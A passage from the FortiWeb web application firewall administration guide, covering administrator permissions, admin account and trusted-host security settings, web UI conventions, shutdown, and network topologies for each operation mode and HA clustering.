Server Policy Configuration	Policy > Server Policy ... Server Objects ... Application Delivery ...	Web UI
traroutegrp	<pre> config server-policy ... except custom-application ... config waf file-compress-rule config waf file-uncompress-rule config waf http-authen ... config waf url-rewrite ... diagnose policy ... </pre>	CLI
Web Anti-Defacement Management	Web Anti-Defacement ...	Web UI
wadgrp	<pre> config wad ... </pre>	CLI
Web Protection Configuration	Policy > Web Protection ... Web Protection ... DoS Protection ...	Web UI
wafgrp	<pre> config system dos-prevention config waf except: • config waf file-compress-rule • config waf file-uncompress-rule • config waf http-authen ... • config waf url-rewrite ... • config waf web-custom-robot • config waf web-protection-profile autolearning-profile • config waf web-robot • config waf x-forwarded-for </pre>	CLI

Access profile setting Grants access to*		
Web Vulnerability Scan Configuration	Web Vulnerability Scan ...	Web UI
wvsgrp	config wvs ...	CLI
* For each <code>config</code> command, there is an equivalent <code>get/show</code> command, unless otherwise noted. <code>config</code> access requires write permission. <code>get/show</code> access requires read permission.		

Unlike other administrator accounts, the administrator account named `admin` exists by default and cannot be deleted. The `admin` administrator account is similar to a root administrator account. This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing **all** other administrator accounts and ADOMs. Its name and permissions cannot be changed. It is the only administrator account that can reset another administrator's password without being required to enter that administrator's existing password.



Set a strong password for the `admin` administrator account, and change the password regularly. By default, this administrator account has no password. Failure to maintain the password of the `admin` administrator account could compromise the security of your FortiWeb appliance.

For complete access to **all** commands and abilities, you must log in with the administrator account named `admin`.

See also

- ["Configuring access profiles"](#) on page 333
- ["Administrators"](#) on page 330
- ["Administrative domains \(ADOMs\)"](#) on page 81
- ["Trusted hosts"](#) on page 88

Trusted hosts

As their name implies, trusted hosts are assumed to be (to a reasonable degree) safe sources of administrative login attempts.

Configuring the trusted hosts of your administrator accounts ([Trusted Host #1](#) (page 332), [Trusted Host #2](#) (page 332), and [Trusted Host #3](#) (page 332)) hardens the security of your FortiWeb appliance by further restricting administrative access. In addition to knowing the password, an administrator must connect only from the computer or subnets you specify. The FortiWeb appliance will not allow logins for that account from any other IP addresses. If **all** administrator accounts are configured with specific trusted hosts, FortiWeb will ignore login attempts from all other computers. This eliminates the risk that FortiWeb could be compromised by a brute force login attack from an untrusted source.

Trusted host definitions apply both to the web UI and to the CLI when accessed through Telnet, SSH, or the [Status dashboard](#) (page 674). Local console access is **not** affected by trusted hosts, as the local console is by definition not remote, and does not occur through the network.

Relatedly, you can white-list trusted **end-user** IP addresses. End users do not log in to the web UI, but their connections to protected web servers are normally subject to protective scans by FortiWeb unless the clients are trusted. For details, see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490.

See also

- ["Administrators"](#) on page 330
- ["Configuring access profiles"](#) on page 333
- ["Permissions"](#) on page 85

Maximum concurrent administrator sessions

If single administrator mode is enabled, you will not be able to log in while any other account is logged in. You must either wait for the other person to log out, or power cycle the appliance.

For details, see ["Enable Single Admin User login"](#) on page 91.

Global web UI & CLI settings

Some settings for connections to the web UI and CLI apply regardless of which administrator account you use to log in.

To configure administrator settings

1. Go to **System > Admin > Settings**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Configure these settings:

Web Administration Ports	
HTTP	Type the TCP port number on which the FortiWeb appliance will listen for HTTP administrative access. The default is 80. This setting has an effect only if HTTP (page 166) is enabled as an administrative access protocol on at least one network interface. For details, see "Configuring the network interfaces" on page 164.
HTTPS	Type the TCP port number on which the FortiWeb appliance will listen for HTTPS administrative access. The default is 443. This setting has an effect only if HTTPS (page 165) is enabled as an administrative access protocol on at least one network interface. For details, see "Configuring the network interfaces" on page 164.
HTTPS Server Certificate	Select the certificate that FortiWeb uses for secure connections to its Web UI. For details, see "How to offload or inspect HTTPS" on page 439.

Certificates stored in **System > Admin > Admin Cert Local** are listed here for options. **defaultcert** is the Fortinet factory default certificate. For details, see ["How to change FortiWeb's default certificate"](#) on page 472.

Config-Sync

Type the TCP port number on which the FortiWeb appliance will listen for configuration synchronization requests from the peer/remote FortiWeb appliance. The default is 995.

For details, see ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149.

Note: This is **not** used by HA. See ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

Timeout Settings

Idle Timeout

Type the number of minutes that a web UI connection can be idle before the administrator must log in again. The maximum is 480 minutes (8 hours). To maintain security, keep the idle timeout at the default value of 5 minutes.

Language

Web Administration

Select which language to use when displaying the web UI.

Languages currently supported by the web UI are:

- English
- simplified Chinese
- traditional Chinese
- Japanese

The display's web pages will use UTF-8 encoding, regardless of which language you choose. UTF-8 supports multiple languages, and allows them to display correctly, even when multiple languages are used on the same web page.

For example, your organization could have websites in both English and simplified Chinese. Your FortiWeb administrators prefer to work in the English version of the web UI. They could use the web UI in English while writing rules to match content in both English and simplified Chinese **without** changing this setting. Both the rules and the web UI will display correctly, as long as all rules were input using UTF-8.

Usually, your text input method or your management computer's operating system should match the display by also using UTF-8. If they do not, your input and the web UI may not display correctly at the

same time.

For example, your web browser's or operating system's default encoding for simplified Chinese input may be GB2312. However, you **usually** should switch it to be UTF-8 when using the web UI, **unless** you are writing regular expressions that must match HTTP client's requests, and those requests use GB2312 encoding.

Note: Regular expressions are impacted by language. For details, see ["Language support"](#) on page 838.

Note: This setting does **not** affect the display of the CLI.

Security Settings

Enable Single Admin User login

To prevent inadvertent configuration overwrites or conflicts, enable to allow only one session from one administrator account to be logged in at any given time. If a second administrator attempts to log in while another administrator is already logged in (or if the same administrator attempts to start a second concurrent session), the second administrator will receive an error message:

```
Too many bad login attempts or reached max
number of logins. Please try again in a few
minutes. Login aborted.
```

When multiple administrators simultaneously modify the same part of the configuration, they each edit a copy of the current, saved state of the configuration. As each administrator makes changes, FortiWeb does **not** update the other administrators' working copies. Each administrator may therefore make conflicting changes without being aware of the other. The FortiWeb appliance will only use whichever administrator's configuration is saved last.

If only one administrator can log in, this problem cannot occur.

Disable to allow multiple administrators to be logged in. In this case, administrators should communicate with each other to avoid overwriting each other's changes.

Enable Strong Passwords

Enable to enforce strong password rules for administrator accounts. If the password entered is not strong enough when a new administrator account is created, an error message appears and you are prompted to re-enter a stronger password.

Strong passwords have the following characteristics:


- Are between 8 and 16 characters in length
- Contain at least one upper case and one lower case letter
- Contain at least one numeric
- Contain at least one non-alphanumeric character

3. Click **Apply**.

See also

- "Configuring the network interfaces" on page 164

Buttons, menus, & the displays



A navigation menu is located on the left side of the web UI. To expand a menu item, simply click it. To expand a submenu item click the > button located next to the submenu name, or click the submenu name itself. To view the pages located within a submenu, click the name of the page.





Do not use your browser's **Back** button to navigate—pages may not operate correctly. Instead, use the navigation menu, tabs, and buttons within the pages of the web UI.

To expand or collapse an area of the menu, click the name of the area itself. Within each area may be multiple submenus. To expand or collapse a submenu, click the > or v button next to the submenu name, or click the name of the submenu itself.

Within each submenu may be one or more tabs or sub-panes, which are displayed to the right of the navigation menu, in the content pane. At the top of the content pane is a toolbar. The toolbar contains buttons that enable you to perform operations on items displayed in the content pane, such as importing or deleting entries.

Each tab or pane (per "Permissions" on page 85) displays or allows you to modify settings, using a similar set of buttons.

Common buttons and menus

Icon	Description
	Click to collapse a visible area.
	Click to expand a hidden area.
	Click to view the first page's worth of records within the tab. or pane. If this button is grey, you are already viewing the first page.
	Click to view the previous page's worth of records within the tab or pane. If this button is grey, you are viewing the first page.
	To go to a specific page number, type the page number in the field and press Enter. The total number of pages depends on the number of records per page.
	Click to view the next page's worth of records within the tab or pane. If this button is grey, you are viewing the last page.
	Click to view the last page's worth of records within the tab or pane. If this button is gray, you are already viewing the last page.
	Click to create a new entry using only typical default values as a starting point.
	Click to create a new entry by duplicating an existing entry. To use this button, you must first mark a check box to select an existing entry upon which the new entry will be based.
	Click to modify an existing entry. To use this button, you must first select which existing entry you want to modify. Alternatively, you can double-click the existing entry, or right-click the entry and select

Icon	Description
Edit.	
	Click to remove an existing entry. To use this button, you must first mark a check box to select which existing entry you want to remove. To delete multiple entries, either mark the check boxes of each entry that you want to delete, then click Delete. This button may not always be available. See "Deleting entries" on page 94.

Common buttons are **not** described in subsequent sections of this guide.

Some pages have unique buttons, or special behaviors associated with common buttons. Those buttons are described in their corresponding section of this guide.

See also

- ["Deleting entries"](#) on page 94
- ["Renaming entries"](#) on page 94

Deleting entries

Back up the configuration before deleting any part of the configuration. Deleted items cannot be recovered unless you upload a backup copy of the previous configuration. For details, see ["Backups"](#) on page 324 and ["Restoring a previous configuration"](#) on page 328.

To delete a part of the configuration, you must first remove all references to it.

For example, if you selected a profile named "Profile1" in a policy named "PolicyA", that policy references "Profile1" and requires it to exist. Therefore the appliance will **not** allow you to delete "Profile1" **until** you have reconfigured "PolicyA" (and any other references) so that "Profile1" is no longer required and may be safely deleted. Predefined entries included with the firmware cannot be deleted.



If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry's name.

See also

- ["Buttons, menus, & the displays"](#) on page 92
- ["Renaming entries"](#) on page 94

Renaming entries

In the web UI, each entry's name is not editable after you create and save it.

For example, let's say you create a policy whose **Name** is "PolicyA". While configuring the policy, you change your mind about the policy's name a few times, and ultimately you change the **Name** to "Blog-Policy". Finally, you click OK to save the policy. Afterwards, if you edit the policy, most settings can be changed. However, **Name** is greyed-out, and **cannot** any longer be changed.

While you cannot edit **Name**, you can achieve the same effect by other means.

To rename an entry

1. Clone the entry, supplying the new name.
2. In **all** areas of the configuration that refer to the old name, replace the old entry name by selecting the new name.



If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry's name.

Alternatively, if you need to rename an item that is **only** referenced in the core configuration file, you can download a backup copy, use a plain text editor to find and replace the entry's old name, then restore the modified configuration backup file to the appliance. Where there are many references, this may save time.

3. Delete the item with the old name.

See also

- ["Buttons, menus, & the displays"](#) on page 92
- ["Deleting entries"](#) on page 94

Shutdown

Always properly shut down the FortiWeb appliance's operating system **before** turning off the power switch or unplugging it. This causes it to finish writing any buffered data, and to correctly spin down and park the hard disks.



Do not unplug or switch off the FortiWeb appliance without first halting the operating system. Failure to do so could cause data loss and hardware damage.

To power off the FortiWeb appliance

1. Access the CLI or web UI. For details, see ["Connecting to the web UI or CLI"](#) on page 114.
2. From the CLI console, enter the following command:

```
execute shutdown
```

Alternatively, if you are connected to the web UI, go to **System > Status > Status**, and in the **Operation** widget, click **Shut Down**.

You may be able to hear the appliance become more quiet when the appliance halts its hardware and operating system, indicating that power can be safely disconnected.

3. For hardware appliances, press the power button if there is one. Power supplies and switches vary by hardware model. On some, you will press the power button. On others, you will flip the switch to either the off (O) or on (I) position. When power is connected and the hardware is started, the power indicator LEDs should light. For details, see the LED specifications in the QuickStart Guide for your model.

For FortiWeb-VM, in the hypervisor or VM manager, power off the virtual machine.

4. Disconnect the power cable from the power supply.

How to set up your FortiWeb

These instructions will guide you to the point where you have a simple, verifiably working installation.

From there, you can begin to use optional features and fine-tune your configuration.

If you are deploying gradually, you may want to initially install your FortiWeb in Offline Protection mode during the transition phase. In this case, you may need to complete the procedures in this section multiple times: once for Offline Protection mode, then again when you switch to your permanent choice of operation modes. For details, see "[Switching out of Offline Protection mode](#)" on page 255.

Time required to deploy varies by:

- Number of your web applications
- Complexity of your web applications
- If you will use auto-learning to assist you in initial configuration, the volume and usage patterns of your web traffic

Appliance vs. VMware

Installation workflow varies depending on whether you are installing FortiWeb as a physical appliance or as a virtual machine.

To install a physical FortiWeb appliance, follow the instructions in "[How to set up your FortiWeb](#)" on page 97 sequentially.

To install a virtual appliance, FortiWeb-VM, first follow the *FortiWeb-VM Install Guide* (<http://docs.fortinet.com/fortiweb/hardware>), then continue with "[How to set up your FortiWeb](#)" on page 97.

Registering your FortiWeb

Before you begin, take a moment to register your Fortinet product at the Fortinet Customer Service & Support website:

<https://support.fortinet.com>

Many Fortinet services such as firmware updates, technical support, FortiGuard services, and FortiSandbox services require product registration.


For details, see the Fortinet Knowledge Base Registration FAQ:

<http://kb.fortinet.com/kb/documentLink.do?externalID=12071>

Planning the network topology

To receive traffic intended for web servers that your FortiWeb appliance will protect, you usually must install the FortiWeb appliance between the web servers and all clients that access them.

The network configuration should make sure that all network traffic destined for the web servers must first pass to or through the FortiWeb appliance (depending on your operation mode). Usually, clients access web servers from the Internet through a firewall such as a FortiGate, so the FortiWeb appliance should be installed between the web servers and the firewall.



Install a general purpose firewall such as FortiGate in addition to the FortiWeb appliance. Failure to do so could leave your web servers vulnerable to attacks that are not HTTP/HTTPS-based. FortiWeb appliances are **not** general-purpose firewalls, and, if you enable IP-based forwarding, will allow non-HTTP/HTTPS traffic to pass through without inspection.

Ideally, control and protection measures should **only** allow **web** traffic to reach FortiWeb and your web servers. FortiWeb and FortiGate complement each other to improve security.

Other topology details and features vary by the mode in which the FortiWeb appliance will operate. For example, FortiWeb appliances operating in Offline Protection mode or either of the transparent modes cannot do network address translation (NAT) or load-balancing; FortiWeb appliances operating in Reverse Proxy mode can.

External load balancers: before or after?

Usually you should **deploy FortiWeb in front of your load balancer** (such as FortiBalancer, FortiADC, or any other device that applies source NAT), so that FortiWeb is between the load balancer and the clients. This has important effects:


- Simplified configuration
- Un-scanned traffic will not reach your load balancer, improving its performance and security
- At the IP layer, from FortiWeb's perspective, HTTP requests will correctly appear to originate from the real client's IP address, **not** (due to SNAT) your load balancer

Otherwise, attackers' and legitimate clients' IP addresses may be hidden by the load balancer.




Alternatively, depending on the features that you require, you may be able to use FortiWeb's built-in load balancing features instead. For details, see "[Load Balancing Algorithm](#)" on page 398.

This is an example of a network topology with a load balancer behind a FortiWeb:



This is an example of an incorrect configuration in which a load balancer is in front of a FortiWeb and there are **no** X-headers:




To prevent such an incorrect configuration, you must configure your devices to compensate if FortiWeb is behind your load balancer. Configure your load balancer so that it does **not** multiplex HTTP requests from different clients into each TCP connection with FortiWeb.

FortiWeb often applies blocking at the TCP/IP connection level, which could result in blocking innocent HTTP requests if the load balancer is transmitting them within the same TCP connection as an attack. It could therefore appear to cause intermittent failed requests. To account for this, configure your load balancer to insert or append an `X-Forwarded-For:`, `X-Real-IP:`, or other HTTP X-header. Also configure FortiWeb to find the original attacker's or client's IP address in that HTTP header, **not** in the IP session. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.



Some features do not support using client IPs found in the X-header. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

This is an example of a correct configuration in which a load balancer is in front of a FortiWeb and there are X-headers:



Do **not** set any **Action** (page 507) to **Period Block** if the load balancer, or any other device in front of FortiWeb, applies SNAT **unless** you have configured blocking based upon HTTP X-headers. Period blocking based upon the source IP address at the IP layer will cause innocent requests forwarded by the SNAT device after an attack to be blocked until the blocking period expires. It could therefore appear to cause intermittent service outages. For details, see "[Blocking known attacks & data leaks](#)" on page 505.

How to choose the operation mode

Many things, including:

- Supported FortiWeb features
- Required network topology
- Positive/negative security model
- Web server configuration

vary by the operation mode. **Choose the mode that best matches what you and your customers need.** Considerations are discussed in "[Supported features in each operation mode](#)" on page 102 and "[Matching topology with operation mode & HA mode](#)" on page 104.

Because this is such a pivotal factor, consider the implications carefully before you make your choice. It can be time-consuming to reconfigure your network if you switch modes later.



If you are not sure which operation mode is best for you, you can deploy in Offline Protection mode temporarily. This will allow you to implement some features and gather auto-learning data while you decide.

Supported features in each operation mode

Many features work regardless of the operation mode that you choose. For some features, support varies by the operation mode. For example, rewriting requires an inline topology and synchronous processing, and therefore is only supported in modes that work that way.

For the broadest feature support, choose Reverse Proxy mode.

If you require a feature that is **not** supported in your chosen operation mode, such as DoS protection or SSL/TLS offloading, configure your web server or another network appliance to provide that feature. The table below lists the features that are **not** universally supported in all modes/protocols.

Feature	Operation mode				
	Reverse Proxy	True Transparent Proxy	Transparent Inspection	Offline Protection	WCCP
Bridges / V-zones	No	Yes	Yes	No	No
Caching	Yes	Yes	No	No	Yes
Client Certificate Verification	Yes	Yes	No	No	Yes
Config. Sync (Non-HA)	Yes ^	Yes	Yes	Yes	Yes
Cookie Security	Yes	Yes	No	No	Yes
CSRF Protection	Yes	Yes	No	No	Yes
Device Tracking	Yes	Yes	No	No	Yes
DoS Protection	Yes	Yes	No	No	Yes
Error Page Customization	Yes	Yes	No	No	Yes
Fail-to-wire	No	Yes	Yes	No	Yes
File Compression	Yes	Yes	No	No	Yes
Hidden Input Constraints	Yes	Yes	No	No	Yes
HA (Active-passive)	Yes	Yes	Yes	No	Yes
HA (Active-active)	Yes	Yes	No	No	No
HTTP Header Security	Yes	Yes	No	No	Yes

Feature	Operation mode				
	Reverse Proxy	True Trans- parent Proxy	Transparent Inspection	Offline Pro- tection	WCCP
HTTP/2 Support	Yes	Yes	No	No	No
HTTP Content Routing	Yes	No	No	No	No
Information Disclosure Prevention (Anti-Server Fingerprinting)	Yes	Yes	Yes [§]	Yes	Yes
Network Firewall	Yes	Yes	Yes	No	No
OCSP Stapling	Yes	Yes	No	No	Yes
Page Order Rules	Yes	Yes	No	No	Yes
Rewriting / Redirection	Yes	Yes	No	No	Yes
Session Management	Yes	Yes*	Yes*	Yes*	Yes*
Site Publishing	Yes	Yes	No	No	Yes
SSL/TLS Offloading	Yes	No	No	No	No
TLS 1.0/1.1/1.2 Support	Yes	Yes~	Yes~¶	Yes~¶	Yes~
SSLv2 Support	Yes	No	No	No	No
Start Page Enforcement	Yes	Yes	No	No	Yes
User Authentication	Yes	Yes	No	No	Yes
X-Forwarded-For: Support	Yes	Yes	No	No	Yes
[^] Full configuration sync is not supported in Reverse Proxy mode. [§] Only the Alert action is supported. [*] Requires that your web application have session IDs. For details, see Session Key (page 272).					

Feature	Operation mode				
	Reverse Proxy	True Transparent Proxy	Transparent Inspection	Offline Protection	WCCP
~ DSA-encrypted server certificates are not supported.					
¶ Diffie-Hellman key exchanges are not supported.					
For the specific cipher suites that FortiWeb supports in each operating mode and protocol, see "Supported cipher suites & protocol versions" on page 432.					

Matching topology with operation mode & HA mode

Required physical topology varies by your choice of operation mode. It also varies depending on whether you will operate a high availability (HA) cluster of FortiWeb appliances. You may need to consider 1 or 2 of the next sections:

- ["Topology for Reverse Proxy mode"](#) on page 104
- ["Topology for either of the transparent modes"](#) on page 106
- ["Topology for Offline Protection mode"](#) on page 108
- ["Topology for WCCP mode"](#) on page 109
- ["Topologies for high availability \(HA\) clustering"](#) on page 110

Topology for Reverse Proxy mode

This is the default operation mode, and the most common. Most features are supported. For details, see ["Supported features in each operation mode"](#) on page 102.


Requests are destined for a virtual server's network interface and IP address on FortiWeb, **not** a web server directly. FortiWeb usually applies **full NAT**. FortiWeb applies the first applicable policy, then forwards permitted traffic to a web server. FortiWeb logs, blocks, or modifies violations according to the matching policy.



DNS A/AAAA record changes may be required in Reverse Proxy mode due to NAT. Also, servers will see the IP of FortiWeb, **not** the source IP of clients, **unless** you configure FortiWeb to insert/append to an HTTP X-header such as `X-Forwarded-For`: . Verify that the server does not apply source IP-based features such as rate limiting or geographical analysis, or, alternatively, that it can be configured to find the original client's source IP address in an HTTP X-header.


If you want to deploy without any IP and DNS changes to the existing network, consider either of the transparent modes instead.

This is an example network topology for Reverse Proxy mode:



A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between FortiWeb and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator's computer. Port2 is connected to the firewall. Port3 is connected to a switch, which is connected to the web servers. The FortiWeb appliance provides load-balancing between the two web servers.

Alternatively, this is an example that shows multiple protocols originating from the client in a one-arm topology in Reverse Proxy mode:



Only HTTP/HTTPS is routed through FortiWeb for additional scanning and processing before arriving at the servers.



Virtual servers can be on the same subnet as physical servers. This is one way to create a one-arm HTTP proxy. For example, the virtual server 192.0.2.1/24 could forward to the physical server 192.0.2.2.

However, this is often not recommended. Unless your network's routing configuration prevents it, it could allow clients that are aware of the physical server's IP address to bypass the FortiWeb appliance by accessing the physical server directly.

By default when in Reverse Proxy mode, FortiWeb will **not forward non-HTTP/HTTPS traffic** from virtual servers to your protected back-end servers. By default, IP-based forwarding/routing of unscanned protocols is disabled.

If you must forward FTP, SSH, or other protocols to your back-end servers, we recommend that you do **not** deploy FortiWeb inline. Instead, use FortiGate VIP port forwarding to scan then send FTP, SSH, etc. protocols directly to the servers, bypassing FortiWeb. Deploy FortiWeb in a one-arm topology where FortiWeb receives **only** HTTP/HTTPS from the FortiGate VIP/port forwarding, then relays it to your web servers. Carefully test to verify that **only** firewalled traffic reaches your web servers.

If this is not possible, and you require FortiWeb to route non-HTTP protocols above the TCP layer, you may be able to use the `config router setting` command. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>). For security and performance reasons, this is not recommended.

Topology for either of the transparent modes

No changes to the IP address scheme of the network are required. Requests are destined for a web server, **not** the FortiWeb appliance. More features are supported than Offline Protection mode, but fewer than Reverse Proxy, and may vary if you use HTTPS (see also "[Supported features in each operation mode](#)" on page 102).


Unlike with Reverse Proxy mode, with both transparent modes, web servers **will** see the source IP address of clients.

You can configure VLAN subinterfaces on FortiWeb, or omit IP address configuration entirely and instead assign a network port to be a part of a Layer 2-only bridge.



In both transparent modes, the appliance will **forward non-HTTP/HTTPS protocols**. That is, routing /IP-based forwarding for unscanned protocols is supported. This facilitates the pass-through of other protocols such as FTP or SSH that may be necessary for a true drop-in, transparent solution.

This is an example of a network topology for either True Transparent Proxy or Transparent Inspection mode:



A client accesses a web server over the Internet through a FortiWeb appliance. A firewall is installed between the FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator's computer. Port3 is connected to the firewall. Port4 is connected to the web servers. Port3 and port4 have no IP address of their own, and act as a V-zone (bridge). Because port3 and port4 have hardware support for fail-to-wire, this topology also gives you the option of configuring fail-open behavior in the event of FortiWeb power loss.

True Transparent Proxy mode and Transparent Inspection mode are the same in topology aspect, but due to differences in the mode of interception, they do have a few important behavioral differences:

- **True Transparent Proxy**—FortiWeb **transparently proxies** the traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. FortiWeb logs, blocks, or modifies violations according to the matching policy and its protection profile. This mode supports user authentication via HTTP but **not** HTTPS.
- **Transparent Inspection**—FortiWeb **asynchronously inspects** traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. (Because it is asynchronous, it minimizes latency.) FortiWeb logs or blocks traffic according to the matching policy and its protection profile, but does **not** otherwise modify it. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.)



Unlike in Reverse Proxy mode or True Transparent Proxy mode, actions other than **Alert** **cannot** be guaranteed to be successful in Transparent Inspection mode. The FortiWeb appliance will attempt to block traffic that violates the policy. However, due to the nature of asynchronous inspection, the client or server may have already received the traffic that violated the policy.

Topology for Offline Protection mode

“Out-of-band” is an appropriate descriptor for this mode. Minimal changes are required. It does not introduce any latency. However, many features are not supported. For details, see ["Supported features in each operation mode"](#) on page 102.




Most organizations do **not** permanently deploy their FortiWeb in Offline Protection mode. Instead, they will use it as a way to learn about their web servers' vulnerabilities and to configure some of the FortiWeb during a transition period, after which they will switch to an operation mode that places the appliance inline (between clients and web servers).

Switching out of Offline Protection mode when you are done with transition can prevent bypass problems that can arise as a result of misconfigured routing. It also offers you the ability to offer protection features that cannot be supported in a SPAN port topology.

Requests are destined for a web server, **not** the FortiWeb appliance. Traffic is duplicated from the flow and sent on an out-of-line link to the FortiWeb through a switched port analyzer (SPAN or mirroring) port. Unless there is a policy violation, there is no reply traffic from FortiWeb. Depending on whether the upstream firewalls or routers apply source NAT (SNAT), the web servers might be able to see and use the source IP addresses of clients.

This is an example of a network topology in Offline Protection mode:



A client accesses two web servers over the Internet through a FortiWeb. A firewall is installed between the FortiWeb and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator's computer. Port2 is connected to the firewall, and thereby to a switch, which is connected to the web servers. The FortiWeb provides detection, but does not load-balance, block, or otherwise modify traffic to or from the two web

servers. Alternatively, you could connect a FortiWeb operating in Offline Protection mode to the SPAN port of a switch.



Unlike in Reverse Proxy mode or True Transparent Proxy mode, actions other than **Alert** cannot be guaranteed to be successful in Offline Protection mode. The FortiWeb appliance will attempt to block traffic that violates the policy by mimicking the client or server and requesting to reset the connection. However, the client or server may receive the reset request after it receives the other traffic due to possible differences in routing path metrics and latency.

FortiWeb monitors traffic received on the data capture port's network interface (regardless of the IP address) and applies the first applicable policy. Because it is not inline with the destination, it does **not** forward permitted traffic. FortiWeb logs or blocks violations according to the matching policy and its protection profile. If FortiWeb detects a malicious request, it sends a TCP `RST` (reset) packet through the blocking port to the web server and client to attempt to terminate the connection. It does **not** otherwise modify traffic. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.)




If you select Offline Protection mode, you can configure **Blocking Port** (page 281) to select the port from which TCP `RST` (reset) commands are sent to block traffic that violates a policy.

Topology for WCCP mode

WCCP mode does not require changes to the IP address scheme of the network. Requests are destined for a web server and not the FortiWeb appliance. This operation mode supports the same feature set as True Transparent Proxy mode. However, like Reverse Proxy mode, web servers see the FortiWeb network interface IP address and not the IP address of the client. For details, see "[Supported features in each operation mode](#)" on page 102.

This is an example of a network topology in WCCP mode:



A client accesses a web server over the Internet through a FortiWeb appliance. In this one-arm topology, a firewall is configured as a WCCP server that routes HTTP/HTTPS traffic arriving on port1 to a FortiWeb configured as a WCCP client. The firewall directs non-HTTP/HTTPS traffic to the switch directly. On the FortiWeb, Port3 is configured for the WCCP protocol and connected to the firewall.

FortiWeb applies the first applicable policy, logs, blocks, or modifies violations according to the matching policy, and then returns permitted traffic to the firewall. The firewall is configured to route HTTP/HTTPS traffic arriving on port3 to the switch.

Topologies for high availability (HA) clustering

Valid HA topologies vary by whether you use either:

- FortiWeb active-passive HA
- FortiWeb active-active HA
- An external HA/load balancer


To carry heartbeat and synchronization traffic between the HA pair, the heartbeat interface on both HA appliances must be connected through crossover cables or through switches.



If you use a switch to connect the heartbeat interfaces, they must be reachable by Layer 2 multicast.


This is an example of a active-passive HA network topology in Reverse Proxy mode:

To fail over, standby sends gratuitous ARP ❶. This causes network to transfer all FortiWeb VMAC & IP addresses to ports linked to standby ❷.



If the active appliance fails, the standby appliance assumes the IP addresses and load of the failed appliance.

This is an example for an active-active HA network topology in Reverse Proxy mode:




A FortiWeb active-active HA cluster can consist of up to eight FortiWebs. All the cluster members operate as an active appliance together, which means each of the members can simultaneously handle the traffic between clients and the back web servers. In an active-active HA cluster, there is one appliance selected as the master and the others are slaves. Like a central controller, only the master appliance receives traffic from clients and web servers; it will distribute received traffic to the cluster members (including itself), so that each FortiWeb appliance performs the security services to monitor traffic.

Similar to the active-passive HA deployment, the operation of active-active HA cluster requires heartbeat detection, configuration and session synchronization between the cluster members. If the master appliance fails, one of the slaves will take it over. The heartbeat interfaces of all the HA appliances must be connected directly with crossover cables or through switches to carry the heartbeat and synchronization traffic between the HA cluster members.

If FortiWeb will **not** be operating in Reverse Proxy mode, typically you would **not** configure an HA network topology. Configuring an HA network topology in other operation modes could require changes to your network scheme, which defeats one of the key benefits of other operating modes: they require no IP changes.

Instead, most customers use an existing external load balancer/HA solution in conjunction with FortiWeb configuration synchronization to preserve an existing active-active or active-passive topology.

This is an example of a network topology in True Transparent Proxy mode with configuration synchronization and external HA via FortiADC:



Unlike with FortiWeb HA, the external HA device detects when a FortiWeb has failed and then redirects the traffic stream; FortiWeb has no way of actively notifying the external HA device. To monitor the live paths through your FortiWeb configuration, you could configure your HA device to poll either:

- A back-end web server, or
- An IP on each FortiWeb bridge (V-zone)



You can use configuration synchronization to replicate the FortiWeb configuration without HA(that is, no load balancing and no failover). Configuration synchronization has no special topology requirement, except that synchronized FortiWebs should be placed in identical topologies. For details, see ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149.

See also

- ["Fail-to-wire for power loss/reboots"](#) on page 663
- ["Topology for Reverse Proxy mode"](#) on page 104
- ["Topology for either of the transparent modes"](#) on page 106
- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137
- ["HA heartbeat & synchronization"](#) on page 76
- ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149

Connecting to the web UI or CLI

To configure, maintain, and administer the FortiWeb appliance, you need to connect to it. There are two methods:

Web UI—A graphical user interface (GUI), from within a web browser. It can display reports and logs, but lacks many advanced diagnostic commands. For usage, see ["How to use the web UI"](#) on page 84.

Command line interface (CLI)—A text interface similar to DOS or UNIX commands, from a Secure Shell (SSH) or Telnet terminal, or from the JavaScript **CLI Console** widget in the web UI (**System > Status > Status**). It provides access to many advanced diagnostic commands as well as configuration, but lacks reports and logs. For usage, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Access to the CLI and/or web UI through your network is not yet configured if:

- you are connecting for the first time
- you have just reset the configuration to its default state
- you have just restored the firmware

In these cases, you must initially connect your computer directly to FortiWeb, using the default settings.



If you are installing a FortiWeb-VM virtual appliance, you should have already connected if you followed the instructions in the *FortiWeb-VM Install Guide* (<http://docs.fortinet.com/fortiweb/hardware>). If so, you can skip this chapter and continue with ["Changing the "admin" account password"](#) on page 132.

Via the direct connection, you can use the web UI or CLI to configure FortiWeb's basic network settings. Once this is done, you will be able to place FortiWeb on your network, and use FortiWeb through your network.



Until the FortiWeb appliance is configured with an IP address and connected to your network, you may prefer to connect the FortiWeb appliance directly to your management computer, or through a switch, in a peer network that is isolated from your overall network. This will improve security during setup. However, isolation is not required.

Connecting to the web UI

You can connect to the web UI using its default settings:

Network Interface	port1
URL	https://192.168.1.99/
Administrator Account	admin
Password	

Requirements

- A computer with an RJ-45 Ethernet network port
- A web browser such as Microsoft Internet Explorer version 6.0 or greater, or Mozilla Firefox 3.5 or greater
- A crossover Ethernet cable

To connect to the web UI

